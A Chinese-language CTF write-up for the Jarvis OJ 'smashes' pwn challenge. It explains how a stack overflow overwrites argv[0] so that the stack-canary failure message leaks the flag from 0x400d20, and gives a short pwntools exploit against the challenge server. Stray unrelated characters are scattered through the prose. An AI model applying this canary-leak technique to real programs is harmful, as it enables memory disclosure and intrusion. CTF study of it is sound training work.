Jarvis OJ上面的一道題smashes
ida查看關(guān)鍵函數(shù)
查看byte_600d20的位置:
第一次是向棧上輸入一個(gè)無(wú)限長(zhǎng)的字符串,第二次是往flag附近寫(xiě)入,并且第二個(gè)輸入字符將會(huì)覆蓋flag
顯然第一次輸入觸發(fā)棧溢出
開(kāi)啟了canary础钠,關(guān)于繞過(guò)canary的思路主要有兩種
一排监、泄露canary
二仇奶、利用canary檢查失敗后調(diào)用的___stack_chk_fail函數(shù)
這里利用__stack_chk_fail實(shí)現(xiàn)任意地址讀捻艳。
gdb調(diào)試下進(jìn)入___stack_chk_fail函數(shù)驾窟,再步入__GI__fortify_fail函數(shù),可以看到這里執(zhí)行了一個(gè)叫做__libc_message的函數(shù)
功能大概就是輸出一些錯(cuò)誤信息
其中當(dāng)前程序的路徑名是從argv[0]中取得的并存放在棧上讯泣,然后用類似于格式化字符串的方式進(jìn)行拼接纫普。
第一次輸入的數(shù)據(jù)起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的棧上地址為0x7fffffffe1e8好渠,只要輸入足夠長(zhǎng)昨稼,是可以覆蓋__libc_message的參數(shù)的,從而把我們覆蓋的地址位置的數(shù)據(jù)打印出來(lái)拳锚。
from pwn import *
p=remote('pwn.jarvisoj.com',9877)
p.recvuntil("What's your name?")
p.sendline('A'*536+p64(0x400d20))
#gdb.attach(p,'b* 0x00000000004008A9')
p.recvuntil('Please overwrite the flag:')
p.sendline('')
print p.recvuntil('Thank you, bye!')
print p.recv()
#raw_input()
PS:這里叕有個(gè)坑假栓,原本說(shuō)好了存在bss里的flag被清掉了。霍掺。匾荆。gdb搜索相關(guān)字符串發(fā)現(xiàn)在0x400d20還有一個(gè)備份。杆烁。牙丽。